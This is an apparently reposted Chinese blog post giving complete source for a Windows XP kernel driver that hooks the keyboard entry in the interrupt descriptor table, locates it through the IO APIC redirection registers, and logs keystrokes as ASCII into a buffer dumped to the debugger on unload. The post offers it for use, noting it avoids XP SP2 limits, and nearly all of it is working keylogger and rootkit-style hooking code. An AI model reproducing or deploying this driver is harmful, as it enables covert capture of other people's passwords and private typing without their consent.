修改键盘中断描述符表
来源:互联网 发布:java 教程 编辑:程序博客网 时间:2024/05/04 13:34
修改中断描述符表(IDT)中的键盘入口实现按健记录,把读取到的键盘扫描码转换成 ascii 码记录下来。查找键盘入口采用了查询 IO APIC的重定向寄存器的方法(通过把物理地址 0xFEC00000 映射为虚拟地址,然后读取键盘中断向量,最难得是没有 xpsp2的限制了。这是我从别处转过来的驱动源码, Windows XP Checked Build Environment测试过。#include <ntddk.h>
#include <stdio.h>
#defineMAX_CHARS256
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
// status register bits
#define IBUFFER_FULL0x02
#define OBUFFER_FULL0x01
// flags for keyboard status
#defineS_SHIFT1
#defineS_CAPS2
#defineS_NUM4
int kb_status = S_NUM;
///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1)
// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4;//0x0E is an interrupt gate
unsigned char system_segment_flag:1;
unsigned char DPL:2;// descriptor privilege level
unsigned char P:1; /* present */
unsigned short HiOffset;
} IDTENTRY;
/* sidt returns idt in this format */
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;
#pragma pack()
intkb_int = 0x93;
unsigned long old_ISR_pointer;
unsigned char keystroke_buffer[MAX_CHARS];
int kb_array_ptr=0;
unsigned char asciiTbl[]={
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,//normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,//caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,//shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,//caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};
ULONG WaitForKbRead()
{
int i = 100;
UCHAR mychar;
do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );
KeStallExecutionProcessor(666);
if(!(mychar & OBUFFER_FULL)) break;
}
while (i--);
if(i) return TRUE;
return FALSE;
}
ULONG WaitForKbWrite()
{
int i = 100;
UCHAR mychar;
do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );
KeStallExecutionProcessor(666);
if(!(mychar & IBUFFER_FULL)) break;
}
while (i--);
if(i) return TRUE;
return FALSE;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
IDTINFOidt_info;
IDTENTRY*idt_entries;
char _t[255];
// load idt_info
__asmsidtidt_info
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
DbgPrint("UnHooking Interrupt...");
// restore the original interrupt handler
__asm cli
idt_entries[kb_int].LowOffset = (unsigned short) old_ISR_pointer;
idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
__asm sti
DbgPrint("UnHooking Interrupt complete.");
DbgPrint("Keystroke Buffer is: ");
DbgPrint("%s", keystroke_buffer);
}
// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
UCHARsch, ch = 0;
intoff = 0;
WaitForKbRead();
sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
if (sch == 0xE0)
{
WaitForKbRead();
sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
}
if (kb_status & S_CAPS)
off += 0x54;
if (kb_status & S_SHIFT)
off += 0x54 * 2;
if ((sch & 0x80) == 0)//make
{
if ((sch < 0x47) ||
((sch >= 0x47 && sch < 0x54) && (kb_status & S_NUM))) // Num Lock
{
ch = asciiTbl[off+sch];
}
switch (sch)
{
case 0x3A:
kb_status ^= S_CAPS;
break;
case 0x2A:
case 0x36:
kb_status |= S_SHIFT;
break;
case 0x45:
kb_status ^= S_NUM;
}
}
else//break
{
if (sch == 0xAA || sch == 0xB6)
kb_status &= ~S_SHIFT;
}
if (ch >= 0x20 && ch < 0x7F)
{
keystroke_buffer[kb_array_ptr++] = ch;
keystroke_buffer[kb_array_ptr] = '/0';
if (kb_array_ptr >= MAX_CHARS-1)
{
kb_array_ptr = 0;
}
}
//put scancode back (works on PS/2)
WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode
WaitForKbWrite();
WRITE_PORT_UCHAR(KEYBOARD_PORT_60, sch); //write the scancode to echo back
}
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) my_interrupt_hook()
{
__asm
{
pushad// save all general purpose registers
pushfd// save the flags register
callprint_keystroke// call function
popfd// restore the flags
popad// restore the general registers
jmpold_ISR_pointer// goto the original ISR
}
}
// Intel 82093AA I/O Advanced Programmable Interrupt Controller (I/O APIC) Datasheet.pdf
int search_irq1()
{
unsigned char *pIoRegSel;
unsigned char *pIoWin;
unsigned char ch;
PHYSICAL_ADDRESSphys;
PVOIDpAddr;
phys.u.LowPart = 0xFEC00000;
pAddr = MmMapIoSpace(phys, 0x14, MmNonCached);
if (pAddr == NULL)
return 0;
pIoRegSel = (unsigned char *)pAddr;
pIoWin = (unsigned char *)(pAddr) + 0x10;
/*
{
int i;
unsigned char j;
for (i = 0, j = 0x10; i <= 0x17; i++, j += 2)
{
*pIoRegSel = j;
ch = *pIoWin;
DbgPrint("RedTbl[%02d]: 0x%02X/n", i, ch);
}
}
*/
*pIoRegSel = 0x12;// irq1
ch = *pIoWin;
MmUnmapIoSpace(pAddr, 0x14);
return (int)ch;
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
IDTINFOidt_info;
IDTENTRY*idt_entries;
char _t[255];
theDriverObject->DriverUnload = OnUnload;
kb_int = search_irq1();
DbgPrint("kb_int = 0x%02X/n", kb_int);
// load idt_info
__asmsidtidt_info
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
DbgPrint("Hooking Interrupt...");
old_ISR_pointer = MAKELONG(idt_entries[kb_int].LowOffset,idt_entries[kb_int].HiOffset);
// remember we disable interrupts while we patch the table
__asm cli
idt_entries[kb_int].LowOffset = (unsigned short)my_interrupt_hook;
idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
__asm sti
DbgPrint("Hooking Interrupt complete: Old = 0x%08X, New = 0x%08X/n", old_ISR_pointer, my_interrupt_hook);
return STATUS_SUCCESS;
//return STATUS_DEVICE_CONFIGURATION_ERROR;
}
- 修改键盘中断描述符表
- 中断描述符表
- 中断描述符表
- 中断描述符表
- 初始化中断描述符表
- 3中断描述符表
- IDT 中断描述符表
- Linux 内核--硬件中断初始化及中断描述符表
- Linux 内核--硬件中断初始化及中断描述符表
- 中断向量表和中断描述符表IDT
- WIN2000中断描述符表(NTOSKRNL.EXE)
- 汇编 设置中断描述符表
- 加载全局/中断描述符表
- 中断描述符表的初始化
- 初始化中断描述表
- 寒江独钓-键盘过滤学习2修改IDT + IOAPIC重定位表截获PS2键盘中断
- 中断机制和中断描述符表、中断和异常的处理
- 中断机制和中断描述符表、中断和异常的处理
- 链接与符号链接
- JAVA
- 为什么要用UML建模之建模的重要性
- Our Classroom
- 演示几种用C语言来执行shellcode(其实也就是机器码)的方式
- 修改键盘中断描述符表
- linux Apache安装
- 关于相对路径,绝对路径的一点体会
- Xfire处理复杂类型的方法
- CreateProcess所需要的最少环境变量
- Hibernate中Criteria
- JS判断浏览器的类型
- webpart中访问SQL 2005 数据库问题的处理办法
- 知客CRM签约厦门希尔